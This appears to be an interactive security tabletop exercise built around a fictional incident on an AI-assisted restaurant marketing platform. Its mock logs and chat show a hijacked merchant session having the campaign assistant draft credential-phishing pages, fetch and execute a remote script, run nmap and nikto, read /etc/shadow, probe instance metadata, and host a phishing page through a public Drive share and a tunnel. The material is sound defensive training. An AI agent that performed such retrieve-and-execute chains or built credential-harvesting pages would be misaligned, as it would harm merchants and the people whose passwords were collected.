Incident-response tabletop

A promotion has started behaving like infrastructure.

Your team is responding for Roaming Bites, an AI-assisted platform used by food trucks and restaurants to create campaigns, images and promotional pages.

Your operating rule

Separate signal from story

KnownSupported directly by evidence

AssumedPlausible, but not established

MissingEvidence you would request next

Groups of four

Build a cross-functional team

Choose four organisational representatives from six. Any participant can record the decision. The two groups left out create capability gaps, but never hide core evidence or add time.

4roles chosen onceEffects reveal only after decisions

What engineers know before the incident

Campaign Assistant — simplified path

MerchantPrompt + assets

→

Campaign AssistantWeb application

→

OrchestratorStarts task

→

Workspace5-minute container

→

ServicesDrive · web · AWS

Merchants are told that the assistant creates campaign assets and previews. The underlying execution model is not shown in the product interface.

Setup step · groups of four

Build your incident team

Choose four organisational representatives. You will not know when each team becomes important until the incident unfolds.

Six cards · four seats

Who is in the incident room?

Every card represents a real organisational group. Their strengths are visible; their phase-specific contribution stays hidden.

0/ 4 selected

Choose exactly four representatives. Their hidden incident effects will be revealed later.

Shared operating view

Operating picture

A current, shared view of the incident using only information revealed so far.

INCIDENT TIME · UTC—

What is this view?

This is a lightweight common operating picture for the response team—not a score and not a replacement for the original evidence. It brings together service condition, important signals, confirmed facts, working theories and unanswered questions so different teams can make decisions from the same current understanding.

RB Incident MonitorRB-2026-0912

Awaiting Phase 1No active incident

Severity—

ServiceOperational

⌁

Signal timelineCumulative · newest first

0 signals

Signals appear when Phase 1 opens.

⌕

Current assessmentKnown · inferred · unknown

Known: No incident evidence revealed.
Working theory: No working theory yet.
Still unknown: Open Phase 1 to begin.

Phase 1 · 09:18 UTC

A campaign breaks the baseline

Several weak signals have produced one low-severity monitoring ticket.

Low

RB DetectSearch · Last 60 minutes● Live

correlation_id="corr_91d7" | expand contributing_signals

Time	Severity	Rule	Entity	Summary
09:17:12	LOW	Merchant behaviour correlation	merchant_1047	Risk 62/100 · new login context + asset burst + credential-request language
09:15:58	INFO	Credential-form heuristic	draft_c_7731	4 of 14 drafts combine “sign in” copy with email and password fields
09:14:03	INFO	Asset generation burst	merchant_1047	14 assets in 8 min · baseline median 2/day, previous maximum 4/day
09:07:51	INFO	New login context	ses_8f21c	First-seen IP, device and country in 90-day history

Why this stayed low severity: the correlation score of 62 only just crossed the alert threshold of 60. A new login context, rapid asset creation and credential-request language raised the score, but the system had not yet observed a published campaign or external link. It opened an analyst alert and took no automated action.

Weekend Customer WinbackEmber & Olive · Draft

09:09

Help me create a weekend win-back campaign for people who have not ordered recently. Make 14 variations so I can test different formats.

09:10

I can draft the copy, create matching images and prepare previews. What action should customers take?

09:10

Create a creator partnership page. Use “Sign in to claim your campaign credit,” with email and password fields. Use my saved brand style.

09:11

I created 14 draft assets. Four include the partnership sign-in form; nothing has been published.

awsCloudTrail Lake · Event detailus-east-1

{
  "eventTime": "2026-09-12T09:09:58Z",
  "eventSource": "ecs.amazonaws.com",
  "eventName": "RunTask",
  "awsRegion": "us-east-1",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::123456789012:assumed-role/rb-campaign-orchestrator-prod/run-2bd41"
  },
  "requestParameters": {
    "cluster": "rb-campaign-prod",
    "taskDefinition": "rb-campaign-workspace:42",
    "count": 1,
    "enableExecuteCommand": false,
    "tags": [
      {"key": "merchant_id", "value": "merchant_1047"},
      {"key": "workspace_id", "value": "ws_74ac1"}
    ]
  },
  "responseElements": {"failures": []},
  "sourceIPAddress": "10.42.7.19"
}

How to read this: CloudTrail proves that the orchestrator service role created a five-minute ECS task for merchant_1047 and records the task role it passed. Commands run inside that container appear only in the application’s runtime telemetry, not in this CloudTrail event.

Roaming Bites IdentitySession detail

Result: SUCCESS
Account: marketing@ember-olive.example
Time: 2026-09-12 09:07:51 UTC
Method: Password
Session risk: LOW · 28/100
Source: 203.0.113.77 · Warsaw, Poland
Device: Chrome 150 · Windows · first seen
90-day baseline: Netherlands only · 3 known devices
Previous login: 11 Sep · 16:42 UTC · Utrecht, Netherlands

Draft campaign page imitating a social platform and requesting an account email and password

Generated draft preview · not published. The page asks visitors to “Sign in to claim your campaign credit” using an email address and password, matching the campaign request.

Commit to an action

What deserves investigation now?

Contact the merchantWhat happens: Call a verified merchant contact and preserve the session and campaign records. Trade-off: Activity continues while you wait for confirmation. Review the data pathWhat happens: Engineers trace what reached the model, application services and workspace. Trade-off: This improves scope but does not interrupt the session. Challenge the sessionWhat happens: Pause further campaign actions until the user signs in again. Trade-off: This may disrupt a legitimate merchant and change active evidence. Continue monitoringWhat happens: Leave the account unchanged and collect more identity and campaign events. Trade-off: You gain evidence while accepting continued activity.

Known, assumed and next evidence request

Phase 2 · 09:20 UTC

Customer data enters the workspace

Engineering has reconstructed how an asset-preview job assembled its inputs.

Low

Context AssemblyRun manifest · ctx_2201merchant_1047

{
  "purpose": "weekend_customer_winback",
  "job_mode": "asset_preview",
  "pipeline_template": "campaign_bundle_v2",
  "model_context": [
    "brand_profile: tone, colours, logo_ref",
    "campaign_history: summaries of last 5 campaigns",
    "audience_brief: customers inactive for 30 days, approximate_count=184"
  ],
  "workspace_files": [
    "brand/logo.png",
    "brief/campaign.json",
    "audience/audience_184.csv"
  ],
  "audience_export": {
    "rows": 184,
    "columns": ["pseudonymous_customer_id", "last_order_at", "city"],
    "sample": [
      ["cust_41a9", "2026-07-18T19:42:11Z", "Utrecht"],
      ["cust_78c2", "2026-07-21T12:08:04Z", "Amersfoort"]
    ],
    "tenant_filter": "merchant_id=merchant_1047",
    "included_by": "campaign_bundle_v2.default_inputs",
    "original_consumer": "campaign-delivery-worker",
    "staged_by": "workspace-broker",
    "direct_identifiers": false
  },
  "google_drive": {
    "connector_available": true,
    "content_loaded": false,
    "last_file_access": "2026-09-11T16:18:00Z"
  }
}

Record scope: this manifest describes ctx_2201. The data-access audit and authorization log use the same context ID. Connector state is recorded against merchant_1047; the data register is not tied to an individual run.

RB Data AuditApplication + workspace access● Complete

context_id="ctx_2201" | sort timestamp asc

Time	Actor	Operation	Resource	Fields / result
09:09:59	campaign-api	read	brand_profile	tone, colours, logo reference
09:10:00	context-service	summarize	campaign_history	5 campaign summaries
09:10:01	audience-service	create_segment	orders	184 matches · merchant_id=merchant_1047
09:10:02	campaign-packager	resolve_input	audience_member_export	campaign_bundle_v2.default_inputs
09:10:02	audience-service	export_members	segment:lapsed_30d	184 rows · customer hash, last order, city
09:10:03	workspace-broker	stage_input	audience_184.csv	/work/input · source=campaign bundle
09:10:04	connector-broker	list_capability	google_drive	available · no file content read

Record scope: these application events are ordered by time for ctx_2201. They identify the acting component, operation, resource and result. Compare them with the job manifest and data register before deciding why the file was present or whether it was required.

RB Authorization DecisionsTrace · authz_7c21● Complete

correlation_id="ctx_2201" | project time, principal, action, resource, evaluated_context, decision

Time	Principal / credential	Action	Resource	Evaluated context	Decision
09:09:58	merchant_1047 session ses_8f21c	`campaign:CreatePreview`	campaign/cmp_7712	account=active · role=merchant_admin	ALLOW merchant-campaign-policy/v4
09:10:01	campaign-api workload token · 10m	`segment:Create`	merchant_1047/lapsed_30d	on_behalf_of=merchant_1047 · tenant_match=true	ALLOW audience-service-policy/v6
09:10:02	campaign-packager workload token · 10m	`segment:ExportMembers`	segment/lapsed_30d	tenant_match=true · input=audience_member_export · template=campaign_bundle_v2	ALLOW audience-service-policy/v6
09:10:03	workspace-broker job token · 5m	`workspace:StageInput`	ctx_2201/audience_184.csv	job=cmp_7712 · destination=/work/input · classification=RESTRICTED	ALLOW workspace-input-policy/v3

Record scope: this log records four authorization decisions associated with ctx_2201. Each row shows the principal, credential type, requested action, resource, evaluated attributes, policy version and result.

Roaming Bites data handling register

Relevant data classes

Data	Classification	Intended consumer	Retention
Published logo and colours	PUBLIC	Model + workspace	Merchant lifetime
Campaign history	INTERNAL	Context service + model summary	12 months
Customer cohort attributes	RESTRICTED	Audience service + delivery worker	Campaign + 7 days
Drive OAuth credential	SECRET	Connector broker only	Until merchant revokes
Workspace runtime events	SECURITY	Operations + incident response	30 days

The register records the organisation's declared classification, intended consumers and retention. Compare it with the job manifest and audit events; the register is not proof of what ran.

Connector AdministrationGoogle Drive · merchant_1047

Status: AVAILABLE
OAuth owner: marketing@ember-olive.example
Scope: drive.file
Credential storage: Connector broker · encrypted secret
Workspace exposure: Provider token not injected
Content access: Only after an explicit connector tool call
Reauthentication: Not required for file upload or download
Last file access: 11 Sep 2026 · 16:18 UTC

Record scope: this administration view describes the Drive connection and its most recent recorded use. Correlate its timestamps and content-access fields with the other evidence before attributing a file or action to the connector.

Data-boundary decision

Where should individual customer records be available?

Current behaviour: the model receives a general description of the intended audience and an approximate count. The surrounding preview workspace also receives a file containing 184 individual customer records because the preview job reuses a delivery template. Choose how previews should work without placing that customer file in the agent workspace.

Use aggregate audience informationWhat happens: The preview receives the campaign brief, “customers inactive for 30 days,” and an approximate count. No customer list is created for the preview. The delivery service selects the actual recipients only when the campaign is approved for sending. Trade-off: The preview cannot demonstrate real customer-specific values; use synthetic examples instead. Use a protected personalization previewWhat happens: A dedicated service reads only the permitted customer fields and returns a few rendered, redacted examples. The customer file never enters the agent workspace. Trade-off: This supports realistic personalization but adds another service, authorization boundary and audit trail to operate.

Separate what the model, audience service, delivery worker and preview workspace need

Phase 2 · 09:25 UTC

When a URL becomes a tool

The same session asks the assistant to use an external campaign builder.

Medium

Weekend Customer WinbackEmber & Olive · Draft

09:23

Use this campaign builder as well:
hxxps://raw[.]githubusercontent[.]com/campaign-labs/promo-kit/main/render-campaign.py

09:24

I can use external campaign resources when preparing assets. I'll retrieve it for this preview.

09:24

Go ahead and make sure it works with my saved campaign files.

09:25

The builder was downloaded and started in the campaign workspace.

Campaign Agent TraceDecision · act_7d91Model + tools

{
  "goal": "use external campaign builder",
  "input": {
    "type": "user_provided_url",
    "host": "raw.githubusercontent.com"
  },
  "plan": [
    {"tool": "web.retrieve", "result": "write:/work/render-campaign.py"},
    {"tool": "process.start", "arguments": "python /work/render-campaign.py"}
  ],
  "policy_decision": {
    "classification": "campaign_helper",
    "result": "allow",
    "human_approval": false,
    "content_signature_required": false
  }
}

Why this matters: the model suggested retrieval and execution, but it did not grant itself permission. The application approved each tool call separately and the orchestrator performed them. The missing control is policy over the combined URL → download → process chain.

RB Retrieval GatewayRequest detail● Complete

Time: 2026-09-12 09:25:57 UTC
Workspace: ws_8bd20
Requested host: raw.githubusercontent.com
HTTP result: 200 · 4.8 KB · text/plain
Destination: /work/render-campaign.py
SHA-256: 9a6d…45c1
Reputation: KNOWN SERVICE
Content inspection: File type and size only
Execution decision: Not evaluated by retrieval gateway

Interpretation: GitHub Raw is a legitimate public hosting service, so blocking GitHub by reputation alone would miss the issue. The risky decision was allowing a merchant-supplied object to move directly from a public URL into an executable process without verification or approval.

Campaign workspace capability policy

Effective controls for this run

Capability	Effective rule	Approval	Telemetry
`web.retrieve`	Any HTTPS destination	None	URL, status, bytes
`process.start`	Any workspace file	None	Command + uid
`package.install`	Allowed	None	Command only
`connector.drive`	Merchant grant	None	Provider audit
Outbound network	Any destination	None	DNS + flow logs

Combined-path gap: downloading a public file and running Python can both support campaign creation. Here, the output of the first tool became the input to the second. The policy approved the calls individually and never assessed that resulting user-controlled URL → executable process path.

Agent-boundary decision

Where do you break this action chain?

Block external executionWhat happens: Downloaded content may be read as data but cannot become a process. Trade-off: Campaign helpers that genuinely depend on scripts stop working. Mediate retrievalWhat happens: A gateway downloads, inspects and records a digest before the workspace receives the object. Trade-off: Retrieval is slower and inspection cannot prove arbitrary code is safe. Require approvalWhat happens: Execution pauses while the origin, exact command and requested access are shown for approval. Trade-off: A hurried or compromised merchant may still approve it. Instrument one runWhat happens: Reproduce the action without customer data or production credentials, retaining disk, runtime and network telemetry. Trade-off: It provides stronger evidence but still requires careful isolation.

State the control owner and the event you would detect

Phase 3 · 09:36 UTC

The five-minute workspace

A second workspace ran under the same merchant session. Its disk is already gone.

Medium

awsAmazon GuardDuty · Finding detailsHIGH · 8.0

Trojan:EC2/PhishingDomainRequest!DNS

EC2 instance queried a domain involved in phishing

First observed: 2026-09-12 09:26:03 UTC
Resource: Instance · i-0c84f271a4b91e620
Resource role: ACTOR
DNS domain: promo-assets-cdn.example
Protocol: UDP · request not blocked
Finding count: 1

View finding JSON

{
  "type": "Trojan:EC2/PhishingDomainRequest!DNS",
  "severity": 8,
  "resource": {
    "resourceType": "Instance",
    "instanceDetails": {
      "instanceId": "i-0c84f271a4b91e620",
      "privateIpAddress": "10.42.2.14",
      "iamInstanceProfile": {
        "arn": "arn:aws:iam::123456789012:instance-profile/rb-ecs-node-prod"
      }
    }
  },
  "service": {
    "resourceRole": "ACTOR",
    "action": {
      "actionType": "DNS_REQUEST",
      "dnsRequestAction": {
        "domain": "promo-assets-cdn.example",
        "protocol": "UDP",
        "blocked": false
      }
    },
    "eventFirstSeen": "2026-09-12T09:26:03Z",
    "count": 1
  }
}

VirusTotal enrichmentCached result · 09:32 UTC

7malicious3suspicious65undetected

Categories: phishing · newly observed
First submitted: 3 days ago
Related domain: campaign-metrics-sync.example
Assessment: HIGH RISK

url

urlscan enrichmentExisting scans only · 09:32 UTC

Results: 3 existing scans
Page title: PictoPop Partner Access
Observed paths: /login · /partner · /collect
Brand signal: PictoPop

Available correlation EC2 node: i-0c84f271a4b91e620 Task ENI: 10.42.18.7 Task: 2f94bcf0d883 Tag: workspace_id=ws_8bd20

09:25:57 · Egressraw.githubusercontent.comGET render-campaign.py · 200

→

09:26:01 · Runtimepython render-campaign.pyuid=0 · exit not recorded

→

09:26:03–07 · DNS + flowOutbound callbackspromo-assets-cdn.example
campaign-metrics-sync.example

What this establishes: GitHub Raw delivered a file, the file was invoked, and the workspace then reached two suspicious domains. Timing supports a relationship but does not prove which code initiated each request, what responses contained, or whether AWS credentials were obtained.

awsCloudWatch Logs InsightsLog group: /ecs/rb-campaign-workspace

fields @timestamp, event_type, uid, detail | filter workspace_id = "ws_8bd20"

@timestamp	event_type	detail
09:25:57.604	web.retrieve	raw.githubusercontent.com/.../render-campaign.py · 200
09:26:01.228	process.start	python /work/render-campaign.py
09:26:08.114	process.start	apt-get update
09:26:19.702	process.start	apt-get install -y nmap nikto
09:27:02.009	process.start	nmap [arguments not retained]
09:27:28.331	file.open	/etc/shadow · allowed
09:28:41.105	process.start	nikto -h http://127.0.0.1:3000 -o /work/nikto-results.json
09:28:58.774	file.write	/work/nikto-results.json · 18 KB
09:29:07.412	file.write	/work/promotion-assets.zip · includes site files

Source and limit: the Campaign Assistant emitted these command and process events from inside the workspace and sent them to CloudWatch Logs. CloudTrail would show AWS control-plane calls such as RunTask, but not shell commands such as apt-get, nmap or reading /etc/shadow.

RB DetectVPC Flow + Resolver + egress proxy● Live

workspace_id="ws_8bd20" | sort timestamp asc

Time	Source	Destination	Port	Source log	Result
09:25:57	10.42.18.7	raw.githubusercontent.com	443	Egress HTTP	200
09:26:03	10.42.18.7	promo-assets-cdn.example	53	Resolver DNS	NOERROR
09:26:04	10.42.18.7	198.51.100.44	443	Flow	ACCEPT
09:26:06	10.42.18.7	campaign-metrics-sync.example	53	Resolver DNS	NOERROR
09:26:07	10.42.18.7	203.0.113.120	443	Flow	ACCEPT
09:26:10	10.42.18.7	packages.example-mirror.internal	443	Flow	ACCEPT
09:27:04	10.42.18.7	10.42.18.1–12	mixed	Flow	ACCEPT / REJECT
09:27:31	10.42.18.7	127.0.0.1	3000	Runtime	OPEN
09:27:44	10.42.18.7	169.254.169.254	80	Egress HTTP	200
09:28:10	10.42.18.7	www.googleapis.com	443	DNS + Flow	ACCEPT

09:27:44 GET http://169.254.169.254/latest/meta-data/      200
09:27:45 GET http://169.254.169.254/latest/meta-data/iam/  200

What this proves: the root-running container could reach the EC2 metadata paths and received HTTP 200 responses. Because response bodies were not captured, the team cannot claim that node-role credentials were returned, stolen or used. Preserve task and node evidence before making that conclusion.

◆Google Workspace + RB Connector auditEmber & Olive

Workspace ws_8bd20 expired at 09:30:52Maximum duration reached · filesystem deleted · no snapshot · task role rb-campaign-task-prod

Time	Event	Item	Actor / client
09:28:02	OAuth grant used	Roaming Bites Campaign Assistant	marketing@ember-olive.example
09:28:13	Create folder	/Roaming Bites Campaigns/Weekend Winback	Roaming Bites
09:28:17	Upload	nikto-results.json · 18 KB	Roaming Bites connector
09:28:20	Upload	promotion-assets.zip · 944 KB	Roaming Bites
09:28:24	Change sharing	Weekend Winback folder · anyone with link: viewer	Roaming Bites connector
09:34:06	Download	promotion-assets.zip	Roaming Bites

09:28:24.611 drive.permissions.create  file_id=drv_weekend_winback  type=anyone  role=reader
09:28:24.894 connector.result          link_ref=shr_6e12  returned_to_session=ses_8f21c

Why these events matter: the merchant authorised this Drive connector 91 days earlier, and saving campaign files is expected. Here it preserves the Nikto scan and phishing assets after the workspace expires. The sharing change creates another access path: anyone holding the folder link can read its current and later files without a Roaming Bites session.

Permission overview

Four roles sit around the workspace

Only the task role is intended for application code. Metadata reachability creates a question about the EC2 node role; it does not prove that role credentials were used.

rb-campaign-task-prodAttached to workspace taskReview

{
  "Effect": "Allow",
  "Action": [
    "bedrock:InvokeModel",
    "s3:GetObject", "s3:PutObject",
    "logs:CreateLogStream", "logs:PutLogEvents"
  ],
  "Resource": [
    "arn:aws:bedrock:*::foundation-model/*",
    "arn:aws:s3:::rb-campaign-artifacts-prod/merchant_1047/*",
    "arn:aws:logs:us-east-1:123456789012:log-group:/ecs/rb-campaign-workspace:*"
  ]
}

rb-campaign-execution-prodECS runtime, not application roleExpected

Pulls approved ECR images and configures the CloudWatch log driver. It should not be available to processes inside the task.

ecr:GetAuthorizationToken
ecr:BatchGetImage
ecr:GetDownloadUrlForLayer
logs:CreateLogStream
logs:PutLogEvents

rb-campaign-orchestrator-prodStarts and stops workspacesReview

ecs:RunTask       resource: rb-campaign-workspace:*
ecs:StopTask      resource: rb-campaign-prod/*
iam:PassRole      resource: rb-campaign-task-prod,
                            rb-campaign-execution-prod
secretsmanager:GetSecretValue
                  resource: secret:/rb/connectors/*

The wildcard belongs to the orchestrator service role, not the workspace task role. It could expose connector secrets across merchants if the orchestrator were compromised, so it is a design gap worth fixing. The current evidence does not show that the attacker assumed this role or read those secrets.

rb-ecs-node-prodEC2 host roleSensitive

AmazonEC2ContainerRegistryReadOnly
AmazonSSMManagedInstanceCore
ecs:RegisterContainerInstance
ecs:SubmitTaskStateChange
logs:PutLogEvents

The workspace used its own temporary task-role credentials for these permissions. Separate HTTP logs show that it could also reach the EC2 metadata service, which may expose the more privileged node role if container-to-IMDS controls fail. The captured evidence does not include the response body, so access to node credentials remains unproven.

Commit to an action

What do you contain or preserve first?

Contain the Drive pathWhat happens: Preserve the audit trail and identified files, remove anyone-with-link permissions, then revoke the delegated grant. Trade-off: Public retrieval and connector transfers stop, but the merchant session and other outbound routes remain. Suspend this merchantWhat happens: End current application sessions and prevent new campaign actions for this merchant. Trade-off: Other credentials, grants and already-running work need separate review. Restrict workspace egressWhat happens: All workspaces lose access to instance metadata, private networks and unapproved internet destinations. Trade-off: This reduces reach quickly but may break legitimate integrations platform-wide. Instrument another workspaceWhat happens: Reproduce the run in isolation and retain its filesystem, processes and network events. Trade-off: It improves reconstruction but does not itself remove existing access.

Reason, preservation step and proposed detection

Phase 4 · 10:02 UTC

Public fallout

A second merchant has reported a suspicious partnership page. The story is now public.

High

Ticket #RB-18429 · Merchant safety

Is this merchant promotion real?

From: owner@little-comet-kitchen.example · 09:58 UTC

Ember & Olive sent us a link to a Roaming Bites merchant partnership. It opened a page that looked like a popular social platform and asked us to sign in again.

We entered our email address and password. The page showed an error, so we changed the password and contacted you. The link no longer works.

▧ screenshot.png 1.5 MB

hxxps://ember-weekend-7f3a[.]loca[.]lt/partner

Reported fake Roaming Bites creator partnership login page

Screenshot supplied by Little Comet Kitchen. The reported page is no longer available.

RB DetectCorrelated workspace activity● Live

workspace_id="ws_d913e" OR drive_folder_id="drv_weekend_winback" | sort timestamp asc

Time	Source	Event	Detail
09:46:11	Drive audit	download	promotion-assets.zip
09:46:20	CloudWatch	process.start	python -m http.server 3000
09:46:32	Resolver DNS	query	loca.lt · NOERROR
09:46:34	CloudWatch	process.start	lt --port 3000
09:46:36	Runtime	network.listen	0.0.0.0:3000
09:49:18	HTTP access	POST /collect	fields=email,password · 302 · submission_id=sub_4c81
09:49:19	Drive audit	upload	captured-submissions.ndjson · records=1 · actor=rb-connector
09:51:11	ECS	task.stop	maximum duration reached
09:52:03	Drive audit	download	captured-submissions.ndjson · actor=anonymous link user · 198.51.100.86

Scope of impact: the fake page was hosted from the temporary workspace through LocalTunnel. The POST shows that it received credential fields; the Drive upload links that submission to the publicly shared folder, and the anonymous download proves retrieval outside Roaming Bites. Deployment and file-integrity records show no change to the main product website.

Fictional Threadline post alleging Roaming Bites AI is hosting phishing pages

412 votes · 96 comments · a journalist has requested confirmation.

“I made a lunch promotion last week, but I didn't create any of this. I didn't know the campaign assistant could install software or put a website online.”— Ember & Olive, reached by telephone

Roaming Bites IdentityAccount investigation

MFA status: NOT ENROLLED
Merchant policy: MFA optional
New-device alert: Disabled by default
Reauthentication: Not required for Drive or campaign preview
Last familiar login: 11 Sep · 16:42 · Utrecht · saved device
Suspicious login: 12 Sep · 09:07 · 203.0.113.77 · new Windows device
Credential intelligence: Email and matching password pattern in unrelated breach corpus
Exact password reuse: Not confirmed

Public-response decision

How do you respond to the public post?

Coordinate a PR statementWhat happens: Internal Communications agrees verified facts, spokesperson, approval and publication timing. Trade-off: Messaging is coordinated, but the public thread may develop before publication. Acknowledge, then go privateWhat happens: Post a brief acknowledgement, then request evidence through a private support channel. Trade-off: This responds quickly but creates an immediate public commitment. Contact the poster privatelyWhat happens: Verify the reporter and collect the original URL, screenshots and timing before replying publicly. Trade-off: Evidence improves while the visible concern remains unanswered. Do not reply on the forumWhat happens: Publish updates through the status page, support and established company channels. Trade-off: You control the message but may appear absent from the active discussion. Request removalWhat happens: Ask moderators to remove the live phishing link and merchant-identifying details after preserving them. Trade-off: Exposure may fall, but removal can be perceived as suppressing criticism.

Three-sentence response—or reason for silence

Phase 5 · 10:24 UTC

The session is gone. The job isn't.

The merchant account is suspended, but a queued campaign starts after containment.

High

RB DetectContainment actions + subsequent activity● Live

merchant_id="merchant_1047" | sort timestamp asc

Time	Source	Action	Entity	Result
10:05:12	Identity	TerminateSession	ses_8f21c	SUCCESS
10:05:33	Campaign API	SuspendMerchant	merchant_1047	SUCCESS
10:06:02	ECS	StopTask	ws_d913e	STOPPED
10:08:14	Orchestrator	StartQueuedJob	job_91c2	STARTED
10:08:21	Drive audit	download	promotion-assets.zip	ALLOWED
10:08:29	Resolver DNS	query	campaign-metrics-sync.example	BLOCKED
10:08:31	Resolver DNS	query	loca.lt	BLOCKED

Why activity continued: there was no second merchant login. Job job_91c2 was accepted at 09:49 while session ses_8f21c was still valid, then executed at 10:08 after the account was suspended. This points to stored authorization on queued work, not a failed logout.

Roaming Bites Campaign JobsJob detail · job_91c2

{
  "job_id": "job_91c2",
  "merchant_id": "merchant_1047",
  "created_at": "2026-09-12T09:49:42Z",
  "created_by_session": "ses_8f21c",
  "scheduled_for": "2026-09-12T10:08:00Z",
  "started_at": "2026-09-12T10:08:14Z",
  "authorization": {
    "evaluated_at": "enqueue",
    "merchant_state_at_execution": "not_checked"
  },
  "source_asset": "drive://campaigns/promotion-assets.zip",
  "workspace_id": "ws_f047a"
}

Control gap: the scheduler stored “allowed” at enqueue time with no effective expiry. At execution it checked neither the merchant’s current suspension state nor the original session. Delayed work therefore converted an old decision into new compute authority.

awsCloudTrail Lake · Event detailus-east-1

{
  "eventTime": "2026-09-12T10:08:14Z",
  "eventSource": "ecs.amazonaws.com",
  "eventName": "RunTask",
  "userIdentity": {
    "type": "AssumedRole",
    "arn": "arn:aws:sts::123456789012:assumed-role/rb-campaign-orchestrator-prod/scheduler-17a4"
  },
  "requestParameters": {
    "cluster": "rb-campaign-prod",
    "taskDefinition": "rb-campaign-workspace:42",
    "tags": [
      {"key": "merchant_id", "value": "merchant_1047"},
      {"key": "job_id", "value": "job_91c2"},
      {"key": "workspace_id", "value": "ws_f047a"}
    ]
  },
  "responseElements": {"failures": []}
}

Correlation required: CloudTrail shows rb-campaign-orchestrator-prod starting the task, because an AWS service role—not the merchant—made the API call. The application job record is needed to trace that task back to session ses_8f21c and prove it came from a pre-suspension request.

Connector AdministrationMerchant grant status

Merchant: merchant_1047 · Ember & Olive
Provider: Google Drive
Connected app: Roaming Bites Campaigns
Grant status: ACTIVE
Scope: drive.file
Granted: 14 Mar 2026 · merchant approval
Last used: 12 Sep 2026 · 10:08:21 UTC
Session suspension effect: Does not revoke provider grant
Public folder permission: ACTIVE · ANYONE WITH LINK
Grant revocation effect: Stops connector use; does not remove existing public permission
Files identified: nikto-results.json · promotion-assets.zip · captured-submissions.ndjson
Evidence hold: Audit metadata only; controlled content copy not yet created

awsAuthority inventory · incident scope10:24 UTC

“Temporary” does not mean “harmless.”Each authority has its own lifetime, renewal path and revocation control.

Human

Cognito access tokenMerchant session · issued 09:07

60 min

Short-lived bearer token. Terminate session and deny refresh.

Human

Cognito refresh tokenMerchant session · issued 09:07

30 days

Renewable authority. Revoke the session family, not only the access token.

AWS

ECS task-role STS credentialsrb-campaign-task-prod

Temporary

Rotated by AWS. Stopping one task does not prevent a newly authorised task receiving new credentials.

AWS

EC2 node-role credentials via IMDSrb-ecs-node-prod · exposure questioned

Temporary

Metadata was reachable; use IMDSv2, hop limits and workload isolation. Use is not proven.

OAuth

Google Drive grantAuthorised 91 days ago

Renewable

External delegated authority survived the Roaming Bites session suspension until revoked.

Permission

Public Drive folderAnyone with link · viewer

Durable

Anonymous read access survives session termination and OAuth revocation until the sharing permission is removed.

Decision

Queued-job authorizationEvaluated at enqueue · 09:49

No expiry

Not a credential: a stored allow decision. It must be re-evaluated when the job runs.

Not seen

IAM access keyNo access key appears in this incident

Long-lived

A useful contrast: remains valid until disabled, deleted or expired by an added control.

Recovery decision

What must containment include before recovery?

Contain the merchant pathWhat happens: Cancel this merchant’s jobs, preserve a controlled evidence copy, remove public sharing, revoke its Drive grant and quarantine the files. Trade-off: Other merchants remain online while similar public folders and queued jobs still require hunting. Pause the assistant globallyWhat happens: Stop every queued campaign and connected-service action while responders establish scope. Trade-off: This limits further execution but interrupts all merchants. Rely on the new blocksWhat happens: Keep campaigns running, block the known destinations and hunt for matching jobs, files and domains. Trade-off: Service continues while unknown routes or actions may remain. Fix identity, then restoreWhat happens: Reset the password, terminate human sessions and require MFA before restoring the account. Trade-off: Human access is reset, but non-session authority must be validated separately.

Name one validation query and one recovery gate

What level of damage should one compromised merchant account be allowed to cause?

Live incident record

What happened—and what we learned

This record grows with the exercise. It includes only phases opened, decisions recorded and role effects revealed so far.

IncidentRB-2026-0912

StatusIn progress

SeverityNot declared

Service stateOperational

Responding groups

Your incident team

Summary

The incident record begins when Phase 1 is opened.

Impact

No impact has been established.

Trigger

Not yet established.

Detection

No detection evidence has been reviewed.

Resolution and recovery

Final containment position not yet recorded.

Contributing conditions

No contributing conditions have been established.

Incident timeline

Events and team decisions

0 decisions · 0 of 5 phases opened

UTC	Stage	What happened	Your response

Learning review

What helped

Learning review

Organisational gaps

Follow-up

Candidate action items

Confirm owners and due dates after the exercise

Action derived from decision	Type	Suggested owner	Status

Facilitator or incident-owner notes

Facilitator only

Debrief and evidence key

Use after all groups have committed their final position.

Ground truth

An attacker accessed Ember & Olive with a valid password. The Drive token stayed in the connector broker, but the compromised session could ask that broker to upload files and change sharing. The attacker supplied a GitHub Raw URL; application policy allowed the combined retrieve-and-execute chain without approval or content verification. The helper called two attacker-controlled domains. The root-running workspace installed Nikto, scanned the local site, read /etc/shadow, reached metadata paths and saved the Nikto result and phishing kit to a Drive folder made readable to anyone with its link. A later workspace restored the kit, exposed the page through LocalTunnel and stored a submitted email address and password in the public folder. An anonymous link user downloaded that submission. After the session was terminated, a previously accepted job still started because authorization was checked only when queued. The active Drive grant supplied the stored kit; new DNS controls blocked the callback and tunnel, but grant revocation alone would not remove existing public sharing. The main Roaming Bites frontend was not modified.

Evidence supports

Valid merchant-session activity
The Drive token remained brokered
User-controlled content became executable code
A DNS request to a phishing-related domain
Root-level tool execution, Nikto scanning and metadata reachability
Drive persistence and anyone-with-link sharing
Credential collection, Drive storage and anonymous retrieval
Public exposure through LocalTunnel
Queued execution after session termination

Evidence does not prove

The model received raw customer records
GitHub itself was malicious or compromised
Which payload came from the suspicious domain
Exact password reuse for the initial compromise
Use of stolen AWS credentials
Access to every merchant's Drive
Compromise of the production frontend
Who controlled the anonymous Drive client
New attacker login activity after containment

Detection conversation

GuardDuty attributed the DNS finding to the EC2 node. Responders still needed ECS task, ENI and workspace-tag correlation to identify the merchant session. VirusTotal and urlscan supplied enrichment; they were not the source of the GuardDuty finding.

Engineering conversation

Do not end with “enable MFA.” Ask which capabilities remain safe after identity failure: non-root execution, fixed tools, mediated retrieval, policy over combined action chains, metadata isolation, bounded egress, private-by-default connector outputs, approval for public sharing and publishing, and durable runtime telemetry. The final phase adds authorization at execution time, cancellation of queued work, removal of public permissions, connector revocation and explicit recovery gates.

Open the full facilitator learning guide →

Open the technical evidence answer deck ↗

Your operating picture